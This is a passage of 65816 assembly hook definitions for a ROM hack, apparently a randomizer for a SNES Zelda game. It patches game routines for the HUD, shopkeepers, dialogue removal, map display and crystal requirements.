; org $1DBA5D ; <- EBA5D - sprite_sidenexx.asm : 270 (JSL GetRandomInt : AND.b #$0F : STA $0DF0, X)
; JSL.l RNG_Trinexx
; org $1DBAB1 ; <- EBAB1 - sprite_sidenexx.asm : 314 (JSL GetRandomInt : AND.b #$0F : LDY.b #$00 : SUB.b #$03)
; JSL.l RNG_Trinexx
; org $1DBAC3 ; <- EBAC3 - sprite_sidenexx.asm : 323 (JSL GetRandomInt : AND.b #$0F : ADD.b #$0C : STA $02 : STZ $03)
; JSL.l RNG_Trinexx
;================================================================================
; HUD Changes
;--------------------------------------------------------------------------------
org $0DFC77 ; <- 6FC77 - headsup_display.asm : 845
NOP #$2D ; #45
org $0DFC77 ; <- 6FC77 - yes these are both the correct address - kkat
JSL.l OnDrawHud
BRA $27
org $0DFCB8 ; <- 6FCB8
JSL.l DrawBombTens ; nudge bomb 10s digit right
org $0DFCC4 ; <- 6FCC4
JSL.l DrawBombOnes ; nudge bomb 1s digit right
org $0DFCDC ; <- 6FCDC
JSL.l DrawArrowTens
org $0DFCE8 ; <- 6FCE8
JSL.l DrawArrowOnes
org $0DFD0A ; <- 6FD0A - headsup_display.asm : 900
STA $7EC766 ; nudge key digit right
org $0DFD13 ; <- 6FD13 - headsup_display.asm : 905
STA $7EC726 ; key icon blank
org $0DFC37 ; <- 6FC37 - headsup_display.asm : 828 (LDA.w #$28F7)
JSL.l DrawMagicHeader
NOP #17
;--------------------------------------------------------------------------------
org $0DFB29 ; <- headsup_display.asm : 688 (LDA.b #$86 : STA $7EC71E)
;LDA.b #$86 : STA $7EC720 ; nudge silver arrow right - remember to update this in newit
;LDA.b #$24 : STA $7EC721
;LDA.b #$87 : STA $7EC722
;LDA.b #$24 : STA $7EC723
JSL.l DrawHUDArrows : BRA +
NOP #18
+
; ;--------------------------------------------------------------------------------
org $01CF67 ; <- CF67 - Bank01.asm : 11625 (STA $7EF36F)
JSL.l DecrementSmallKeys
; ;--------------------------------------------------------------------------------
org $0DED04 ; <- 6ED04 - equipment.asm : 1963 (REP #$30)
JSL.l DrawHUDDungeonItems
;--------------------------------------------------------------------------------
; Insert our version of the hud tilemap
org $0DFA96 ; <- 6FA96 - headsup_display.asm : 626 (LDX.w #.hud_tilemap)
LDX.w #HUD_TileMap
org $0DFA9C ; <- 6FA9C - headsup_display.asm : 629 (MVN $0D, $7E ; $Transfer 0x014A bytes from $6FE77 -> $7EC700)
MVN $C77E
;--------------------------------------------------------------------------------
;org $0DE48E ; <- 6E48E - equipment.asm : 1233 (LDA.w #$11CE : STA $00) - HOOK HERE TO DRAW ON THE ITEM SCREEN
;JSL.l DrawHUDDungeonItems
;NOP
;--------------------------------------------------------------------------------
org $0DFB1F ; 6FB1F - headsup_display.asm : 681 (LDA $7EF340 : BEQ .hastNoBow)
JSL.l CheckHUDSilverArrows
;--------------------------------------------------------------------------------
;================================================================================
; 300 Rupee NPC
;--------------------------------------------------------------------------------
org $1EF060 ; <- F7060 - sprite_shopkeeper.asm:242 (INC $0D80, X)
JSL.l Set300RupeeNPCItem
NOP
;--------------------------------------------------------------------------------
; ;================================================================================
; ; Glitched Mode Fixes
; ;--------------------------------------------------------------------------------
; org $0691AC ; <- 311AC - sprite_prep.asm:2453 (LDY $0FFF)
; JSL.l GetAgahnimPalette
; NOP #2
; ;--------------------------------------------------------------------------------
; org $06F0DD ; <- 370DD - Bank06.asm:5399 (STA $0BA0, X)
; JSL.l GetAgahnimDeath
; NOP #2
; ;--------------------------------------------------------------------------------
; org $1ED4E6 ; <- F54E6 - sprite_agahnim.asm:314 (LDY $0FFF)
; JSL.l GetAgahnimType
; NOP #2
; ;--------------------------------------------------------------------------------
; org $1ED577 ; <- F5577 - sprite_agahnim.asm:418 (PHX)
; JML.l GetAgahnimSlot
; GetAgahnimSlotReturn:
; ;--------------------------------------------------------------------------------
; org $1ED678 ; <- F5678 - sprite_agahnim.asm:587 (INC $0E30, X)
; NOP #2
; JSL.l GetAgahnimLightning
; ;--------------------------------------------------------------------------------
; org $0287E0 ; <- 107E0 - Bnak02.asm:1507 (LDA $0112 : ORA $02E4 : ORA $0FFC : BEQ .allowJoypadInput)
; JSL.l AllowJoypadInput : NOP #5
; ;--------------------------------------------------------------------------------
;================================================================================
; Half Magic Bat
;--------------------------------------------------------------------------------
org $05FBD3 ; <- 2FBD3 - sprite_mad_batter.asm:209 - (STA $7EF37B)
JSL.l GetMagicBatItem
;--------------------------------------------------------------------------------
; ;================================================================================
; ; MSU Music
; ;--------------------------------------------------------------------------------
; org $0080D7 ; <- D7 - Bank00.asm:172 (SEP #$30)
; spc_nmi:
; JML msu_main
; NOP
; spc_continue:
; org $0EE6EC ; <- E220 A922 - Bank0E.asm:2892 (SEP #$20)
; JSL.l ending_wait
; ;--------------------------------------------------------------------------------
;================================================================================
; Replacement Shopkeeper
;--------------------------------------------------------------------------------
org $068BEB ; <- 30BEB - sprite_prep.asm:1125 - (INC $0BA0, X)
JSL.l SpritePrep_ShopKeeper : RTS : NOP
ShopkeeperFinishInit:
;--------------------------------------------------------------------------------
org $1EEEE3 ; <- F6EE3 - sprite_shopkeeper.asm:7 - (LDA $0E80, X)
JSL.l Sprite_ShopKeeper : RTS : NOP
ShopkeeperJumpTable:
;--------------------------------------------------------------------------------
;================================================================================
; Tile Target Loader
;--------------------------------------------------------------------------------
org $00D55E ; <- 555E - Bank00.asm:3491 (LDX.w #$2D40)
JSL.l LoadModifiedTileBufferAddress : NOP #2
;--------------------------------------------------------------------------------
;================================================================================
; Permabunny Fix
;--------------------------------------------------------------------------------
org $078F32 ; <- 38F32 - Bank07.asm:2420 - (LDA $7EF357)
JSL.l DecideIfBunny ; for bunny beams
;--------------------------------------------------------------------------------
;================================================================================
; Other bunny Fixes
;--------------------------------------------------------------------------------
org $029E7C; <- 11E7C - module_ganon_emerges.asm:127 - (LDA.b #$09 : STA $012C)
JSL.l FixAga2Bunny : NOP
;--------------------------------------------------------------------------------
;================================================================================
; Open Mode Fixes
;--------------------------------------------------------------------------------
org $05DF65 ; <- 2DF65 - sprite_uncle_and_priest.asm:994 - (LDA.b #$01 : STA $7EF3C5)
JSL.l SetUncleRainState : RTS
;--------------------------------------------------------------------------------
;org $0280DD ; <- 100DD - Bank02.asm:298 - (LDA $7EF3C5 : CMP.b #$02 : BCC .indoors)
;JSL.l ForceLinksHouse
;--------------------------------------------------------------------------------
org $05EDDF ; <- 2EDDF - sprite_zelda.asm:398 - (LDA.b #$02 : STA $7EF3C5)
JSL.l EndRainState : NOP #2
;--------------------------------------------------------------------------------
org $05DF49 ; <- 2DF49 - sprite_uncle_and_priest.asm:984 - (JSL Link_ReceiveItem)
JSL.l OnUncleItemGet
;--------------------------------------------------------------------------------
; ;================================================================================
; ; Generic Keys
; ;--------------------------------------------------------------------------------
; org $028157 ; <- 10157 - Bank02.asm:381 - (LDA $040C : CMP.b #$FF : BEQ .notPalace)
; JSL.l CheckKeys : NOP
; ;--------------------------------------------------------------------------------
; org $028166 ; <- 10166 - Bank02.asm:396 - (LDA $7EF37C, X)
; JSL.l LoadKeys
; ;--------------------------------------------------------------------------------
; org $029A31 ; <- 11A31 - Bank02.asm:4785 - (LDA $7EF37C, X)
; JSL.l LoadKeys
; ;--------------------------------------------------------------------------------
; org $02A0D1 ; <- 120D1 - Bank02.asm:5841 - (STA $7EF37C, X)
; JSL.l SaveKeys
; ;--------------------------------------------------------------------------------
; org $09F584 ; <- 4F584 - module_death.asm:447 - (STA $7EF37C, X)
; JSL.l SaveKeys
; ;--------------------------------------------------------------------------------
; org $0282EC ; <- 102EC - Bank02.asm:650 - (STA $7EF36F)
; JSL.l ClearOWKeys
;--------------------------------------------------------------------------------
org $0DFA80 ; <- 6FA80 : headsup_display.asm:596 - (LDA.b #$00 : STA $7EC017)
JSL.l HUDRebuildIndoor : NOP #4
;--------------------------------------------------------------------------------
org $029A35 ; <- 11A35 : Bank02.asm:4789 - (JSL HUD.RebuildIndoor.palace)
JSL.l HUDRebuildIndoorHole
;--------------------------------------------------------------------------------
org $0DFCEC ; <- 6FCEC : headsup_display.asm:887 - (LDA.w #$007F : STA $05)
LDA.w #$7F7F : STA $04 ; Have both key digits default to blank
org $0DFD02 ; <- 6FD02 ; headsup_display.asm:900 - (LDA $05 : AND.w #$00FF : ORA.w #$2400 : STA $7EC764)
JSL.l DrawKeyIcon : NOP #8
;--------------------------------------------------------------------------------
;================================================================================
; Pendant / Crystal Fixes
;--------------------------------------------------------------------------------
;org $0DE9C8 ; <- 6E9C8 - original check for agahnim 1 being defeated
;;LDA $7EF3CA : CMP.b #$40 ; check for dark world instead
;JSL.l CheckPendantHUD
;NOP #2
;================================================================================
org $0DE9C8 ; <- 6E9C8 - equipment.asm:1623 - (LDA $7EF3C5 : CMP.b #$03 : BCC .beforeAgahnim)
JSL.l DrawPendantCrystalDiagram : RTS
;NOP #11
;================================================================================
org $0DEDCC ; <- 6EDCC - equipment.asm:2043 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BNE .inSpecificDungeon)
JSL.l ShowDungeonItems : NOP #5
org $0DEE59 ; <- 6EE59 - equipment.asm:2126 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace)
JSL.l ShowDungeonItems : NOP #5
org $0DEE8A ; <- 6EE8A - equipment.asm:2151 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalaceAgain)
JSL.l ShowDungeonItems : NOP #5
org $0DEF3B ; <- 6EF3B - equipment.asm:2290 - (LDA $040C : AND.w #$00FF : CMP.w #$00FF : BEQ .notInPalace)
JSL.l ShowDungeonItems : NOP #5
;================================================================================
org $0DEA5F ; <- 6EA5F - equipment.asm:1679 - (SEP #$30)
;NOP #5
;BRL .skipCrystalInit
;org $0DEAA4 ; <- 6EAA4 - equipment.asm:1706 - (LDA $7EF37A : AND.w #$0001)
;.skipCrystalInit
;================================================================================
org $0DE9D8 ; <- 6E9D8 - equipment.asm:1635 - (LDA $E860, X : STA $12EA, X)
org $0DEA15 ; <- 6EA15 - equipment.asm:1647 - (LDA.w #$13B2 : STA $00)
;================================================================================
org $00F97E ; <- 797E - Bank00.asm:8586 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA)
JSL.l FlipLWDWFlag : NOP #6
;================================================================================
org $02B162 ; <- 13162 - Bank02.asm:7672 - (LDA $7EF3CA : EOR.b #$40 : STA $7EF3CA)
JSL.l IncrementOWMirror
JSL.l FlipLWDWFlag
NOP #2
;================================================================================
;Clear level to open doors
org $01C50D ; 0xC50D - Bank01.asm:10032 - (LDA $7EF3CA : BNE .inDarkWorld)
JML.l RoomTag_RoomTrigger_KillDoor_ExtendedItems
;================================================================================
;Kill enemy to clear level
org $01C715 ; <- C715 - Bank01.asm:10358 - (LDA $7EF3CA : BNE .inDarkWorld)
JML.l RoomTag_KillRoomForPrize_ExtendedItems
;================================================================================
org $098BBC ; #_098BBC: LDA.w .receipt_ids,Y (AncillaAdd_FallingPrize)
JSL AncillaAdd_FallingPrize_ExtendedItems
NOP #2
org $08CAD6; #_08CAD6: LDA.w $0C5E,X (Ancilla29_MilestoneItemGet)
JSL Ancilla29_MilestoneItemGet_ExtendedItems
NOP #2
org $00E4A2
JML Graphics_LoadChrHalfSlot_ExtendedItems
NOP #3
org $0ABAB9
JML WorldMap_LoadSpriteGFX_ExtendedItems
;org $0AC5C3 ; <- 545C3 - Bank0A.asm:1859 - (LDA $7EF374 : AND $0AC5A6, X : BEQ .fail)
;NOP #10
;CLC
;================================================================================
org $0AC5BB ; < 545BB - Bank0A.asm:1856 - (LDA $7EF3C7 : CMP.b #$03 : BNE .fail)
JSL.l OverworldMap_CheckObject : RTS
org $0AC5D8 ; < 545D8 - Bank0A.asm:1885 - (LDA $7EF3C7 : CMP.b #$07 : BNE OverworldMap_CheckPendant_fail)
JSL.l OverworldMap_CheckObject : RTS
;================================================================================
org $0AC012 ; <- 54012 - Bank0A.asm:1039 - (LDA $7EF2DB)
JSL.l OnLoadMap
;================================================================================
org $0AC53e ; <- 5453E - Bank0A.asm:1771 - (LDA $0AC50D, X : STA $0D)
JSL.l GetCrystalNumber
;================================================================================
; EVERY INSTANCE OF STA $7EF3C7 IN THE ENTIRE CODEBASE
org $029D51 ; <- 11D51
JSL.l SetLWDWMap
org $0589BB ; <- 289BB
JSL.l SetLWDWMap
org $05DD9A ; <- 2DD9A
JSL.l SetLWDWMap
org $05F1F6 ; <- 2F1F6
JSL.l SetLWDWMap
org $05F209 ; <- 2F209
JSL.l SetLWDWMap
org $05FF91 ; <- 2FF91
JSL.l SetLWDWMap
org $098687 ; <- 48687
JSL.l SetLWDWMap
org $1ECEDD ; <- F4EDD
JSL.l SetLWDWMap
org $1ECF0D ; <- F4F0D
JSL.l SetLWDWMap
;================================================================================
; EVERY INSTANCE OF LDA $7EF3C7 IN THE ENTIRE CODEBASE
org $05DDFE ; <- 2DDFE
JSL.l GetMapMode
org $05EE25 ; <- 2EE25
JSL.l GetMapMode
org $05F17D ; <- 2F17D
JSL.l GetMapMode
org $05FF7D ; <- 2FF7D
JSL.l GetMapMode
org $0AC01A ; <- 5401A
JSL.l GetMapMode
org $0AC037 ; <- 54037
JSL.l GetMapMode
org $0AC079 ; <- 54079
JSL.l GetMapMode
org $0AC0B8 ; <- 540B8 x
JSL.l GetMapMode
org $0AC0F8 ; <- 540F8
JSL.l GetMapMode
org $0AC137 ; <- 54137
JSL.l GetMapMode
org $0AC179 ; <- 54179
JSL.l GetMapMode
org $0AC1B3 ; <- 541B3
JSL.l GetMapMode
org $0AC1F5 ; <- 541F5
JSL.l GetMapMode
org $0AC22F ; <- 5422F
JSL.l GetMapMode
org $0AC271 ; <- 54271
JSL.l GetMapMode
org $0AC2AB ; <- 542AB
JSL.l GetMapMode
org $0AC2ED ; <- 542ED
JSL.l GetMapMode
org $0AC327 ; <- 54327
JSL.l GetMapMode
org $0AC369 ; <- 54369
JSL.l GetMapMode
org $0DC849 ; <- 6C849
JSL.l GetMapMode
;================================================================================
org $0AC012 ; <- 54012 - Bank0A.asm:1039 (LDA $7EF2DB : AND.b #$20 : BNE BRANCH_DELTA)
NOP #8
;================================================================================
org $028B8F ; <- 10B8F - Bank02.asm:2236 (LDA $7EF374 : LSR A : BCS BRANCH_BETA)
JSL.l CheckHeraObject : BNE + : NOP
LDX.b #$F1 : STX $012C
+
;================================================================================
org $029090 ; <- 11090 - Bank02.asm:3099 (LDA $7EF374 : LSR A : BCS BRANCH_GAMMA)
JSL.l CheckHeraObject : BNE + : NOP
STX $012C ; DON'T MOVE THIS FORWARD OR MADNESS AWAITS
+
;================================================================================
org $029798 ; <- 11798 - Bank02.asm:4287 (CMP $02895C, X : BNE BRANCH_ALPHA)
NOP #6 ; remove crystal room cutscene check that causes softlocks
;================================================================================
; ;================================================================================
; ; Text Changes
; ;--------------------------------------------------------------------------------
; ;org $06C7D3 ; <- 347D3 - sprite_ponds.asm:720 (LDA.b #$8A)
; ;JSL.l DialogFairyThrow
; ;--------------------------------------------------------------------------------
org $06C7BB ; <- 347BB - sprite_ponds.asm:702 (JSL Sprite_ShowMessageFromPlayerContact : BCC BRANCH_ALPHA)
JSL.l FairyPond_Init
; ;--------------------------------------------------------------------------------
org $06C9C0 ; <- 349C0 - sprite_ponds.asm:1068 (JSL Link_ReceiveItem)
JSL.l FairyPond_PreventReplacement
; ;--------------------------------------------------------------------------------
org $08C5ED ; <- 445ED - ancilla_receive_item.asm:395 (STA $1CF0 : CMP.w #$0070 : BNE .notGeezerSpeech)
NOP #3
; ;--------------------------------------------------------------------------------
; org $02A005 ; <- 12005 - Bank02.asm:5667 (JSL Main_ShowTextMessage)
; JSL.l DialogTriforce : NOP #4
; ;--------------------------------------------------------------------------------
; org $1D92EC ; <- E92EC - sprite_ganon.asm:947 (JSL Sprite_ShowMessageMinimal)
; JSL.l DialogGanon1
; ;--------------------------------------------------------------------------------
; org $1D9078 ; <- E9078 - sprite_ganon.asm:552 (LDA.b #$70 : STA $1CF0)
; JSL.l DialogGanon2 : RTS
; ;--------------------------------------------------------------------------------
; org $1DA4EC ; <- EA4EC - sprite_blind_entities.asm:845 (JSL Sprite_ShowMessageMinimal)
; JSL.l DialogBlind
; ;--------------------------------------------------------------------------------
; org $06C94C ; <- 3494C - sprite_ponds.asm:970 (JSL Sprite_ShowMessageUnconditional)
; JSL.l DialogPyramidFairy
; ;--------------------------------------------------------------------------------
org $06C454 ; <- 34454 - sprite_ponds.asm:133 (LDA $0D80, X)
LDA.b #$00 : NOP
; ;--------------------------------------------------------------------------------
; ;-- Sahasrahla (no green pendant)
; org $05F16C ; <- 2F16C sprite_elder.asm:137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;--------------------------------------------------------------------------------
; ;-- Sahasrahla (have boots)
; org $05F1A8 ; <- 2F1A8 sprite_elder.asm:170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;--------------------------------------------------------------------------------
; ;-- Sahasrahla (have boots, have ice rod)
; org $05F1BC ; <- 2F1BC sprite_elder.asm:182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;--------------------------------------------------------------------------------
; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants)
; org $05F1CE ; <- 2F1CE sprite_elder.asm:194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;--------------------------------------------------------------------------------
; ;-- Sahasrahla (have boots, have ice rod, have 3 pendants, have master sword)
; org $05F1D8 ; <- 2F1D8 sprite_elder.asm:204 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;--------------------------------------------------------------------------------
; ;-- drinking guy
; org $1EF61C ; <- F761C sprite_drinking_guy.asm:29 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL.l Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
; ;================================================================================
;================================================================================
; Text Removal
;--------------------------------------------------------------------------------
;-- Music restarting at zelda fix
org $05ED10 ; <- 2ED10 - sprite_zelda.asm : 233 - (LDA.b #$19 : STA $012C)
NOP #5
;--------------------------------------------------------------------------------
org $1ECE47 ; <- F4E47 - sprite_crystal_maiden.asm : 220
JML.l MaidenCrystalScript
;--------------------------------------------------------------------------------
org $1ECCEB ; <- F4CEB - sprite_crystal_maiden.asm : 25 ; skip all palette nonsense
JML.l SkipCrystalPalette
org $1ECD39
SkipCrystalPalette:
;--------------------------------------------------------------------------------
org $08C3FD ; <- 443FD - ancilla_receive_item.asm : 89
!MS_GOT = "$7F5031"
LDA #$40 : STA !MS_GOT
;;NOP #6 ; don't set master sword follower
;--------------------------------------------------------------------------------
org $08C5FE ; <- 445FE - ancilla_receive_item.asm : 408
NOP #4
;--------------------------------------------------------------------------------
org $1ED467 ; <- F5467 - sprite_agahnim.asm : 202
NOP #4
;--------------------------------------------------------------------------------
org $1ED4FF ; <- F54FF - sprite_agahnim.asm : 328
NOP #4
;--------------------------------------------------------------------------------
;org $029C94 ; <- 11C94 - Bank02.asm : 5197 (JSL Main_ShowTextMessage)
;NOP #4
;--------------------------------------------------------------------------------
org $029CBD ; <- 11CBD - Bank02.asm : 5227 (JSL Messaging_Text)
STZ $11
NOP #2
;--------------------------------------------------------------------------------
;org $029CD3 ; <- 11CD3 - Bank02.asm : 5237 (BNE BRANCH_BETA)
;db $80 ; BRA
;--------------------------------------------------------------------------------
org $029CDF ; <- 11CDF - Bank02.asm : 5245 (JSL Main_ShowTextMessage)
NOP #4
;--------------------------------------------------------------------------------
org $029CF0 ; <- 11CF0 - Bank02.asm : 5266
STZ $11
NOP #2
;--------------------------------------------------------------------------------
org $05FB70 ; <- 2FB70 - sprite_mad_batter.asm:131 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;--------------------------------------------------------------------------------
org $05FBC2 ; <- 2FBC3 - sprite_mad_batter.asm:195 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;--------------------------------------------------------------------------------
;org $05F16C ; <- 2F16C - sprite_elder.asm : 137 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F190 ; <- 2F190 - sprite_elder.asm : 170 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1A8 ; <- 2F1A8 - sprite_elder.asm : 182 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1BC ; <- 2F1BC - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
;org $05F1CE ; <- 2F1CE - sprite_elder.asm : 194 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;NOP #4
;--------------------------------------------------------------------------------
; ;-- Old mountain man healing text
; org $1EEAD7 ; F6AD7 sprite_old_mountain_man.asm : (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .didnt_speak)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;--------------------------------------------------------------------------------
; ;-- Priest healing text
; org $05DE11 ; 2DE11 sprite_uncle_and_priest.asm : 720 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .gamma)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;--------------------------------------------------------------------------------
; ;-- zelda's heal text
; org $05EE38 ; <- 2ee38 sprite_zelda.asm : 474 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;--------------------------------------------------------------------------------
;-- zelda in jail
org $05ED06 ; <- 2ED06 sprite_zelda.asm : 227 - (JSL Sprite_ShowMessageUnconditional)
STZ $1CE8 : NOP
org $05ED27 ; <- 2ED27 sprite_zelda.asm : 256 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $05ED35 ; <- 2ED35 sprite_zelda.asm : 272 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- sanctuary
org $05DD83 ; <- 2DD83 sprite_uncle_and_priest.asm : 608 - (JSL Sprite_ShowMessageUnconditional)
STZ $1CE8 : NOP
org $05EDC8 ; <- 2EDC8 sprite_zelda.asm : 388 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $05DDAB ; <- 2DDAB sprite_uncle_and_priest.asm : 635 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- Sick Kid
org $06B9C6 ; <- 339C6 sprite_bug_net_kid.asm : 92 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------
;-- Hobo
org $06BE5F ; <- 33E5F sprite_hobo.asm : 121 - (JSL Sprite_ShowMessageUnconditional)
Nop #4
;----------------------------------------------------------
;-- Sahasrahla
;org $05F190 ; <- 2F190 sprite_elder.asm : 154 - (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .dont_show_2) - "Blah blah blah, take the boots"
;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
org $05F212 ; <- 2F212 sprite_elder.asm : 261 - (JSL Sprite_ShowMessageUnconditional) - "Gave you the boots but I'm not doing talking yet"
NOP #4
org $05F1ED ; <- 2F1ED sprite_elder.asm : 225 - (JSL Sprite_ShowMessageUnconditional)
NOP #4
;----------------------------------------------------------
;-- Shopkeepers
org $1EEF7C ; <- F6F7C sprite_shopkeeper.asm : 85 (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $1EF375 ; <- F7375 sprite_shopkeeper.asm : 810 (JSL Sprite_ShowMessageUnconditional : JSL ShopKeeper_RapidTerminateReceiveItem)
NOP #8
;----------------------------------------------------------
;-- Bomb shop guy (buying small bombs, and buying big bomb)
org $1EE1C0 ; <- F61C0 sprite_bomb_shop_entity.asm : 120 (JSL Sprite_ShowMessageUnconditional)
NOP #4
org $1EE208 ; <- F6208 sprite_bomb_shop_entity.asm : 178 (JSL Sprite_ShowMessageUnconditional)
NOP #4
;-- Text hook for the actual npc
;org $1EE181 ; <- F6181 sprite_bomb_shop_entity.asm : 85 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
;JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Alt
;----------------------------------------------------------
;-- Catfish
org $1DE112 ; <- EE112 sprite_great_catfish.asm : 341 (JSL Sprite_ShowMessageMinimal)
NOP #4
;----------------------------------------------------
;-- King Zora
org $059A7D ; <- 29A7D sprite_zora_king.asm : 223 - (JSL Sprite_ShowMessageMinimal)
STZ $1CE8 : NOP
;----------------------------------------------------
;-- Before Agah 1 fight
org $1DD299 ; <- ED299 sprite_chatty_agahnim.asm : 111 (JSL Sprite_ShowMessageMinimal)
NOP #4
org $1DD35E ; <- ED35E sprite_chatty_agahnim.asm : 253 (JSL Sprite_ShowMessageMinimal)
NOP #4
;----------------------------------------------------
;-- Blind Maiden (in jail)
;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)
;NOP #4
;----------------------------------------------------
;-- Blind (Maiden) in Jail
;org $1EE8CD ; <- F68CD sprite_blind_maiden.asm : 18 - (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_speak)
;JSL Sprite_ShowMessageFromPlayerContact_Edit
;----------------------------------------------------
;-- Kiki
org $1EE3E6 ; <- F63E6 sprite_kiki.asm : 157 pay kiki 10 rupees
STZ $1CE8 : NOP
org $1EE400 ; <- F6400 sprite_kiki.asm : 178 thanks for giving kiki rupees
NOP #4
org $1EE4FB ; <- F64FB sprite_kiki.asm : 340 pay 100 rupees
STZ $1CE8 : NOP
org $1EE523 ; <- F6523 sprite_kiki.asm : 373 kiki will open door
NOP #4
;org $1EE414 ; <- F6414 sprite_kiki.asm : 193 don't have 10 rupees
;NOP #4
;org $1EE50C ; <- F650C sprite_kiki.asm : 356 don't have 100 rupees
;NOP #4
;----------------------------------------------------
;-- Witch
org $05E4FB ; <- 2E4FB sprite_witch.asm : 165 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
NOP #4
;----------------------------------------------------
;-- Breaking Ganon's Tower Seal
org $08CD3A ; <- 44D3A ancilla_break_tower_seal.asm : 55 (JSL Main_ShowTextMessage)
NOP #4
;--------------------------------------------------------------------------------
org $08CF19 ; <- 44F19 - ancilla_break_tower_seal.asm : 336 (TXA : AND.b #$07 : TAX)
JSL.l GetRequiredCrystalsInX
;--------------------------------------------------------------------------------
org $08CFC9 ; <- 44FC9 - ancilla_break_tower_seal.asm : 414 (RTS)
db #$6B
;--------------------------------------------------------------------------------
org $08CE93
Ancilla_BreakTowerSeal_draw_single_crystal:
org $08CEC3
Ancilla_BreakTowerSeal_stop_spawning_sparkles:
org $08CF59
BreakTowerSeal_ExecuteSparkles:
;================================================================================
; Crystals Mode
;--------------------------------------------------------------------------------
org $099B7B ; <- ancilla_init.asm : 4136 (LDA $7EF37A : AND.b #$7F : CMP.b #$7F)
JSL.l CheckEnoughCrystalsForTower
NOP #4
db #$90 ; BCC
;--------------------------------------------------------------------------------
org $08CE0C ; <- 44E0C - ancilla_break_tower_seal.asm : 168 (BEQ #$03 : JSR BreakTowerSeal_ExecuteSparkles : LDX.b #$06)
JML.l GetRequiredCrystalsForTower
NOP #3
GetRequiredCrystalsForTower_continue:
;----------------------------------------------------
;-- Bombos tablet
;org $05F3BF ; <- 2F3BF sprite_medallion_tablet.asm : 254 (JSL Sprite_ShowMessageUnconditional)
;JSL.l DialogBombosTablet
;----------------------------------------------------
;-- Ether tablet
;org $05F429 ; <- 2F429 sprite_medallion_tablet.asm : 317 (JSL Sprite_ShowMessageUnconditional)
;JSL.l DialogEtherTablet
;----------------------------------------------------
;-- Agahnim 1 Defeated
org $068475 ; <- 30475 Bank06.asm : 762 - (JSL Sprite_ShowMessageMinimal)
JSL.l AddInventory_incrementBossSwordLong
;NOP #4
; ;----------------------------------------------------
; ;-- Old Mountain Man Encounter Text
; org $1EE9BC ; <- sprite_old_mountain_man.asm : 157 - (Sprite_ShowMessageFromPlayerContact)
; JSL Sprite_ShowMessageFromPlayerContact_Edit
; org $09A67D ; <- 4A67D tagalong.asm : 1152 (JSL OldMountainMan_TransitionFromTagalong)
; JML OldMountainMan_TransitionFromTagalong_Edit
; ;----------------------------------------------------------
; ;-- Purple Chest Encounter Text
; org $1EE0E7 ; <- F60E7 sprite_thief_chest.asm : 16 (JSL Sprite_ShowMessageFromPlayerContact : BCC .didnt_touch)
; JSL Sprite_ShowMessageFromPlayerContact_Edit
; ;----------------------------------------------------------
; ;-- Middle aged man opens purple chest
; org $06BD44 ; <- 33D44 sprite_middle_aged_man.asm : 107 (JSL Sprite_ShowMessageFromPlayerContact : BCC .return)
; JSL Sprite_ShowMessageFromPlayerContact_Edit
; ;----------------------------------------------------------
;-- Smiths
;-- Ribbit
; org $06B2AA ; <- 332AA sprite_smithy_bros.asm : 152 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;-- Ask us to do anything
; org $06B418 ; <- 33418 sprite_smithy_bros.asm : 371 (JSL Sprite_ShowSolicitedMessageIfPlayerFacing : BCC .player_didnt_speak)
; JSL Sprite_ShowSolicitedMessageIfPlayerFacing_Edit
; ;-- Your sword is tempered!
